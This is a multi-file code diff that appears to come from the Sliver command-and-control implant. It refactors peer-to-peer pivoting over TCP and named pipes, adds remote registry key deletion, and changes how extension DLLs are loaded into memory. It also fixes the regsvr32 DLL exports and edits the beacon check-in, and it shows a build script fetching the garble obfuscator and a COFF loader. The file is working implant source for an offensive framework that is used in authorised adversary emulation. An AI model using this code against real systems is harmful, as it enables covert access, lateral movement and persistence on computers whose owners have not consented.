curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "-----------------------------------------------------------------"
echo " COFF Loader"
echo "-----------------------------------------------------------------"
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
# end
echo -e "clean up: $WORK_DIR"
+1 -1
View File
@@ -64,6 +64,7 @@ require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
modernc.org/sqlite v1.14.3
)
@@ -107,7 +108,6 @@ require (
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.3.0 // indirect
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.0 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+6 -2
View File
@@ -29,11 +29,11 @@ import (
"io"
"os"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
@@ -73,6 +73,9 @@ func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaint
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < 24 {
return nil, errors.New("ciphertext too short")
}
var decryptNonce [24]byte
copy(decryptNonce[:], ciphertext[:24])
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
@@ -104,11 +107,12 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
if err != nil {
return nil, err
}
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
if _, err := rand.Read(nonce); err != nil {
return nil, err
}
return aead.Seal(nonce, nonce, GzipBuf(plaintext), nil), nil
return aead.Seal(nonce, nonce, plaintext, nil), nil
}
// Decrypt - Decrypt using chacha20poly1305
+3 -2
View File
@@ -43,6 +43,7 @@ var (
// TOTP secret value
totpSecret = "{{.OTPSecret}}"
// ErrInvalidPeerKey - Peer to peer key exchange failed
ErrInvalidPeerKey = errors.New("invalid peer key")
)
@@ -136,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCEncryptToPeer - Encrypt using the peer's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
@@ -152,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
return ciphertext, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCDecryptFromPeer - Decrypt a message from a peer
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
+12 -1
View File
@@ -18,7 +18,13 @@ package extension
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "errors"
import (
"errors"
// {{if .Config.Debug}}
"log"
// {{end}}
)
var extensions map[string]Extension
@@ -45,6 +51,11 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
if ext, found := extensions[extID]; found {
return ext.Call(funcName, arguments, callback)
}
// {{if .Config.Debug}}
for id, ext := range extensions {
log.Printf("Extension '%s' (%s)", id, ext.GetArch())
}
//{{end}}
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
}
+14 -7
View File
@@ -37,15 +37,15 @@ const (
)
type WindowsExtension struct {
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
serverStore bool
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
}
// NewWindowsExtension - Load a new windows extension
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
return &WindowsExtension{
id: id,
@@ -55,16 +55,22 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
}
}
// GetID - Get the extension ID
func (w *WindowsExtension) GetID() string {
return w.id
}
// GetArch - Get the extension architecture
func (w *WindowsExtension) GetArch() string {
return w.arch
}
// Load - Load the extension into memory
func (w *WindowsExtension) Load() error {
var err error
if len(w.data) == 0 {
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
}
w.module, err = memmod.LoadLibrary(w.data)
if err != nil {
return err
@@ -83,6 +89,7 @@ func (w *WindowsExtension) Load() error {
return nil
}
// Call - Call an extension export
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
var (
argumentsPtr uintptr
+22 -10
View File
@@ -77,6 +77,7 @@ var (
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
@@ -496,6 +497,23 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func regDeleteKeyHandler(data []byte, resp RPCResponse) {
deleteReq := &sliverpb.RegistryDeleteKeyReq{}
err := proto.Unmarshal(data, deleteReq)
if err != nil {
return
}
err = registry.DeleteKey(deleteReq.Hostname, deleteReq.Hive, deleteReq.Path, deleteReq.Key)
deleteResp := &sliverpb.RegistryDeleteKey{
Response: &commonpb.Response{},
}
if err != nil {
deleteResp.Response.Err = err.Error()
}
data, err = proto.Marshal(deleteResp)
resp(data, err)
}
func regSubKeysListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistrySubKeyListReq{}
err := proto.Unmarshal(data, listReq)
@@ -584,20 +602,17 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
return
}
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
if err != nil {
registerResp.Response.Err = err.Error()
} else {
extension.Add(ext)
}
data, err = proto.Marshal(registerResp)
resp(data, err)
@@ -605,15 +620,12 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
gotOutput := false
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
gotOutput = true
+13 -4
View File
@@ -69,8 +69,8 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
return
}
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := startListener(req.BindAddress, connection.Send)
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := createListener(req.BindAddress, connection.Send)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
@@ -80,6 +80,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
}
return
}
go listener.Start()
pivots.AddListener(listener)
data, _ := proto.Marshal(listener.ToProtobuf())
connection.Send <- &pb.Envelope{
@@ -117,12 +118,20 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
}
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
sent := pivots.SendToPeer(envelope)
sent, err := pivots.SendToPeer(envelope)
if !sent {
// {{if .Config.Debug}}
log.Printf("Send to peer failed, report peer failure upstream ...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
errStr := ""
if err != nil {
errStr = err.Error()
}
data, _ := proto.Marshal(&pb.PivotPeerFailure{
PeerID: pivots.MyPeerID,
Type: pb.PeerFailureType_SEND_FAILURE,
Err: errStr,
})
connection.Send <- &pb.Envelope{
Type: pb.MsgPivotPeerFailure,
Data: data,
+19 -21
View File
@@ -20,6 +20,7 @@ package pivots
import (
"sync"
"time"
// {{if .Config.Debug}}
"log"
@@ -29,39 +30,37 @@ import (
"github.com/lesnuages/go-winio"
)
// StartNamedPipePivotListener - Starts a named pipe listener
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
var (
namedpipePivotReadDeadline = 10 * time.Second
namedpipePivotWriteDeadline = 10 * time.Second
)
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + address
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
})
// {{if .Config.Debug}}
log.Printf("Listening on %s", fullName)
log.Printf("Listening on named pipe %s", fullName)
// {{end}}
if err != nil {
return nil, err
}
pivotLn := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_NamedPipe,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
ID: ListenerID(),
Type: pb.PivotType_NamedPipe,
Listener: ln,
PivotConnections: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
}
go namedPipeAcceptConnections(pivotLn)
return pivotLn, nil
}
func namedPipeAcceptConnections(pivotListener *PivotListener) {
// hostname, err := os.Hostname()
// if err != nil {
// // {{if .Config.Debug}}
// log.Printf("Failed to determine hostname %s", err)
// // {{end}}
// hostname = "."
// }
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
for {
conn, err := pivotListener.Listener.Accept()
if err != nil {
@@ -69,15 +68,14 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
readDeadline: namedpipePivotReadDeadline,
writeDeadline: namedpipePivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(pivotListener.Pivots)
go pivotConn.Start(pivotListener.PivotConnections)
}
}
+207 -93
View File
@@ -43,17 +43,39 @@ const (
)
var (
ErrFailedWrite = errors.New("failed to write")
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
ErrFailedKeyExchange = errors.New("failed key exchange")
pivotListeners = &sync.Map{}
listenerID = uint32(0)
pivotListeners = &sync.Map{}
stoppedPivotListeners = &sync.Map{}
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
listenerID = uint32(0)
// MyPeerID - This implant's Peer ID, a per-execution instance ID
MyPeerID = generatePeerID()
pivotReadDeadline = 10 * time.Second
pivotWriteDeadline = 10 * time.Second
)
// StartListener - Generic interface to a start listener function
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
// generatePeerID - Generate a new pivot id
func generatePeerID() int64 {
buf := make([]byte, 8)
_, err := rand.Read(buf)
if err != nil {
return time.Now().UnixNano() // These need only be unique
}
peerID := int64(binary.LittleEndian.Uint64(buf))
if peerID == int64(0) {
return time.Now().UnixNano()
}
return peerID
}
// CreateListener - Generic interface to a start listener function
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
// GetListeners - Get a list of active listeners
func GetListeners() []*pb.PivotListener {
@@ -68,9 +90,56 @@ func GetListeners() []*pb.PivotListener {
// AddListener - Add a listener
func AddListener(listener *PivotListener) {
// {{if .Config.Debug}}
log.Printf("[pivot] my peer id: %d", MyPeerID)
log.Printf("[pivot] adding listener: %s", listener.BindAddress)
// {{end}}
pivotListeners.Store(listener.ID, listener)
}
// RemoveListener - Stop a pivot listener
func RemoveListener(id uint32) {
if listener, ok := pivotListeners.LoadAndDelete(id); ok {
listener.(*PivotListener).Stop()
}
}
// RestartAllListeners - Start all pivot listeners
func RestartAllListeners(send chan<- *pb.Envelope) {
stoppedPivotListeners.Range(func(key, value interface{}) bool {
stoppedListener := value.(*PivotListener)
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
listener, err := createListener(stoppedListener.BindAddress, send)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
// {{end}}
}
go listener.Start()
AddListener(listener)
}
return true
})
stoppedPivotListeners = nil
}
// StopAllListeners - Stop all pivot listeners
func StopAllListeners() {
pivotListeners.Range(func(key, value interface{}) bool {
value.(*PivotListener).Stop()
return true
})
stoppedPivotListeners = pivotListeners
pivotListeners = &sync.Map{}
}
// StartListener - Stop a pivot listener
func StartListener(id uint32) {
if listener, ok := pivotListeners.Load(id); ok {
listener.(*PivotListener).Start()
}
}
// StopListener - Stop a pivot listener
func StopListener(id uint32) {
if listener, ok := pivotListeners.Load(id); ok {
@@ -79,71 +148,74 @@ func StopListener(id uint32) {
}
// SendToPeer - Forward an envelope to a peer
func SendToPeer(envelope *pb.Envelope) bool {
peerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, peerEnvelope)
func SendToPeer(envelope *pb.Envelope) (bool, error) {
pivotPeerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, pivotPeerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to unmarshal peer envelope: %s", err)
// {{end}}
return false
return false, err
}
// {{if .Config.Debug}}
log.Printf("Peer Envelope: %v", peerEnvelope)
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
log.Printf("my peer envelope: %+v", pivotPeerEnvelope)
// {{end}}
downstreamEnvelope := &pb.Envelope{
Type: pb.MsgPivotPeerEnvelope,
Data: peerEnvelope.Data,
}
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
nextPeerID, err := findNextPeerID(pivotPeerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to unmarshal downstream envelope: %s", err)
log.Printf("Failed to find next peer id: %s", err)
// {{end}}
return false
return false, err
}
// NOTE: Yes linear search is bad, but there should be a very small
// number of listeners and pivots so it should be fine
sent := false // Controls iteration of outer loop
pivotListeners.Range(func(key interface{}, value interface{}) bool {
listener := value.(*PivotListener)
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
if pivot.ID() == peerEnvelope.PivotID {
pivot.Downstream <- downstreamEnvelope
sent = true // break from the outer loop
return false // stop iterating inner loop
}
return true // keep iterating inner loop
})
pivotConn, ok := listener.PivotConnections.Load(nextPeerID)
if ok {
pivot := pivotConn.(*NetConnPivot)
pivot.Downstream <- envelope
sent = true // break from the outer loop
return false // stop iterating inner loop
}
return !sent // keep iterating while not sent
})
// {{if .Config.Debug}}
if !sent {
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
// {{if .Config.Debug}}
log.Printf("Failed to find peer with id %d", nextPeerID)
// {{end}}
return false, errors.New("peer not found")
}
// {{end}}
return sent
return sent, nil
}
func findNextPeerID(pivotPeerEnvelope *pb.PivotPeerEnvelope) (int64, error) {
for index, peer := range pivotPeerEnvelope.Peers {
if peer.PeerID == MyPeerID {
if 0 <= index-1 {
return pivotPeerEnvelope.Peers[index-1].PeerID, nil
}
}
}
return int64(0), errors.New("next peer not found")
}
// PivotListener - A pivot listener
type PivotListener struct {
ID uint32
Type pb.PivotType
Listener net.Listener
Pivots *sync.Map // ID -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
ID uint32
Type pb.PivotType
Listener net.Listener
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
}
// ToProtobuf - Get the protobuf version of the pivot listener
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
pivotPeers := []*pb.PivotPeer{}
l.Pivots.Range(func(key interface{}, value interface{}) bool {
pivotPeers := []*pb.NetConnPivot{}
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
return true
@@ -156,23 +228,47 @@ func (l *PivotListener) ToProtobuf() *pb.PivotListener {
}
}
// Stop - Stop the pivot listener
func (l *PivotListener) Stop() {
// Close all peer connections before closing listener
l.Pivots.Range(func(key interface{}, value interface{}) bool {
value.(*NetConnPivot).Close()
return true
})
l.Pivots = nil
l.Listener.Close()
// Start - Start the pivot listener
func (p *PivotListener) Start() {
for {
conn, err := p.Listener.Accept()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] accept error: %s", err)
// {{end}}
return
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: pivotReadDeadline,
writeDeadline: pivotWriteDeadline,
upstream: p.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(p.PivotConnections)
}
}
// PivotClose - Close a pivot connection
func (l *PivotListener) PivotClose(id int64) {
if p, ok := l.Pivots.Load(id); ok {
l.Pivots.Delete(id)
p.(*NetConnPivot).Close()
// Stop - Stop the pivot listener
func (l *PivotListener) Stop() {
l.Listener.Close() // Stop accepting new connections
// Close all existing connections
connectionIDs := []int64{}
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
connectionIDs = append(connectionIDs, key.(int64))
return true
})
for _, id := range connectionIDs {
pivotConn, ok := l.PivotConnections.LoadAndDelete(id)
if ok {
pivotConn.(*NetConnPivot).Close()
}
}
l.PivotConnections = &sync.Map{} // Make sure we drop any refs
}
// ListenerID - Generate a new pivot id
@@ -181,55 +277,50 @@ func ListenerID() uint32 {
return listenerID
}
// PivotID - Generate a new pivot id
func PivotID() int64 {
buf := make([]byte, 8)
rand.Read(buf)
return int64(binary.LittleEndian.Uint64(buf))
}
// NetConnPivot - A generic pivot connection to a peer via net.Conn
type NetConnPivot struct {
id int64
conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
cipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
downstreamPeerID int64
conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
cipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
upstream chan<- *pb.Envelope
Downstream chan *pb.Envelope
}
// ID - ID of peer pivot
func (p *NetConnPivot) ID() int64 {
return p.id
// DownstreamPeerID - ID of peer pivot
func (p *NetConnPivot) DownstreamPeerID() int64 {
return p.downstreamPeerID
}
// ToProtobuf - Protobuf of pivot peer
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
return &pb.PivotPeer{
ID: p.id,
func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
return &pb.NetConnPivot{
PeerID: p.downstreamPeerID,
RemoteAddress: p.RemoteAddress(),
}
}
// Start - Starts the TCP pivot connection handler
// Start - Starts the pivot connection handler
func (p *NetConnPivot) Start(pivots *sync.Map) {
defer p.conn.Close()
defer func() {
p.conn.Close()
}()
err := p.peerKeyExchange()
if err != nil {
return
}
// {{if .Config.Debug}}
log.Printf("[pivot] peer key exchange completed successfully")
log.Printf("[pivot] peer key exchange completed successfully with peer %d", p.downstreamPeerID)
// {{end}}
// We don't want to register the peer prior to the key exchange
// Add & remove self from listener pivots map
pivots.Store(p.ID(), p)
defer pivots.Delete(p.ID())
pivots.Store(p.DownstreamPeerID(), p)
defer pivots.Delete(p.DownstreamPeerID())
go func() {
defer close(p.Downstream)
@@ -246,22 +337,30 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
Type: pb.MsgPivotPeerPing,
Data: envelope.Data,
}
} else {
} else if envelope.Type == pb.MsgPivotPeerEnvelope {
// {{if .Config.Debug}}
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
// {{end}}
envelopeData, _ := proto.Marshal(envelope)
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
PeerID: PeerID, // This proccess' Peer ID
PivotID: p.ID(), // The Pivot connection ID
Name: consts.SliverName,
Data: envelopeData,
})
p.upstream <- &pb.Envelope{
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
Type: pb.MsgPivotPeerEnvelope,
Data: data,
peerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] error un-marshalling peer envelope: %s", err)
// {{end}}
continue
}
// Append ourselves to the list of peers, and then upstream
peerEnvelope.Peers = append(peerEnvelope.Peers, &pb.PivotPeer{
PeerID: MyPeerID,
Name: consts.SliverName,
})
envelope.Data, _ = proto.Marshal(peerEnvelope)
p.upstream <- envelope
} else {
// {{if .Config.Debug}}
log.Printf("[pivot] received unknown message type (%d), dropping ...", envelope.Type)
// {{end}}
continue
}
}
}()
@@ -269,6 +368,15 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
for envelope := range p.Downstream {
err := p.writeEnvelope(envelope)
if err != nil {
if p.downstreamPeerID != 0 {
p.upstream <- &pb.Envelope{
Type: pb.MsgPivotPeerFailure,
Data: mustMarshal(&pb.PivotPeerFailure{
Type: pb.PeerFailureType_DISCONNECT,
PeerID: p.downstreamPeerID,
}),
}
}
return
}
}
@@ -301,6 +409,7 @@ func (p *NetConnPivot) peerKeyExchange() error {
// {{end}}
return ErrFailedKeyExchange
}
p.downstreamPeerID = peerHello.PeerID
sessionKey := cryptography.RandomKey()
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
@@ -461,3 +570,8 @@ func (p *NetConnPivot) RemoteAddress() string {
func (p *NetConnPivot) Close() error {
return p.conn.Close()
}
func mustMarshal(msg proto.Message) []byte {
data, _ := proto.Marshal(msg)
return data
}
+2 -2
View File
@@ -24,6 +24,6 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
pb.PivotType_TCP: CreateTCPPivotListener,
}
+3 -3
View File
@@ -22,7 +22,7 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
pb.PivotType_TCP: CreateTCPPivotListener,
pb.PivotType_NamedPipe: CreateNamedPipePivotListener,
}
+8 -33
View File
@@ -35,8 +35,8 @@ var (
tcpPivotWriteDeadline = 10 * time.Second
)
// StartTCPPivotListener - Start a TCP listener
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// CreateTCPPivotListener - Start a TCP listener
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// {{if .Config.Debug}}
log.Printf("Starting TCP pivot listener on %s", address)
// {{end}}
@@ -48,37 +48,12 @@ func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*Pivot
return nil, err
}
pivotListener := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_TCP,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: address,
Upstream: upstream,
ID: ListenerID(),
Type: pb.PivotType_TCP,
Listener: ln,
PivotConnections: &sync.Map{},
BindAddress: address,
Upstream: upstream,
}
go tcpPivotAcceptNewConnections(pivotListener)
return pivotListener, nil
}
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
for {
conn, err := pivotListener.Listener.Accept()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] listener stopping: %s", err)
// {{end}}
return
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(pivotListener.Pivots)
}
}
@@ -127,6 +127,26 @@ func WriteKey(hostname string, hive string, path string, key string, value inter
return err
}
// DeleteKey removes an existing key or value.
// Removing a value takes precident over removing a key.
// If neither exists, an error is returned.
func DeleteKey(hostname string, hive string, path string, key string) error {
k, err := openKey(hostname, hive, path, registry.SET_VALUE)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not open key %s: %s\n", path, err.Error())
// {{end}}
return err
}
err = k.DeleteValue(key)
if err != nil {
err = registry.DeleteKey(*k, key)
}
return err
}
// ListSubKeys returns all the subkeys for the provided path
func ListSubKeys(hostname string, hive string, path string) (results []string, err error) {
k, err := openKey(hostname, hive, path, registry.READ|registry.RESOURCE_LIST|registry.FULL_RESOURCE_DESCRIPTOR)
+28 -24
View File
@@ -52,6 +52,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/version"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -80,12 +81,11 @@ var (
func init() {
buf := make([]byte, 8)
n, err := rand.Read(buf)
seed := uint64(time.Now().Unix())
if err == nil && n == len(buf) {
binary.LittleEndian.PutUint64(buf, uint64(seed))
if err != nil || n != len(buf) {
insecureRand.Seed(time.Now().Unix())
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
}
insecureRand.Seed(int64(seed))
id, err := uuid.NewV4()
if err != nil {
buf := make([]byte, 16) // NewV4 fails if secure rand fails
@@ -169,12 +169,12 @@ func DllInstall() { main() }
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
// export DllRegisterServer
//export DllRegisterServer
func DllRegisterServer() { main() }
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
// export DllUnregisterServer
//export DllUnregisterServer
func DllUnregisterServer() { main() }
// {{end}}
@@ -295,8 +295,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
// {{end}}
nextCheckin := time.Now().Add(beacon.Duration())
register := registerSliver()
register.ActiveC2 = beacon.URL()
register.ProxyURL = beacon.ProxyURL()
register.ActiveC2 = beacon.ActiveC2
register.ProxyURL = beacon.ProxyURL
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
ID: InstanceID,
Interval: beacon.Interval(),
@@ -527,7 +527,10 @@ func sessionMainLoop(connection *transports.Connection) error {
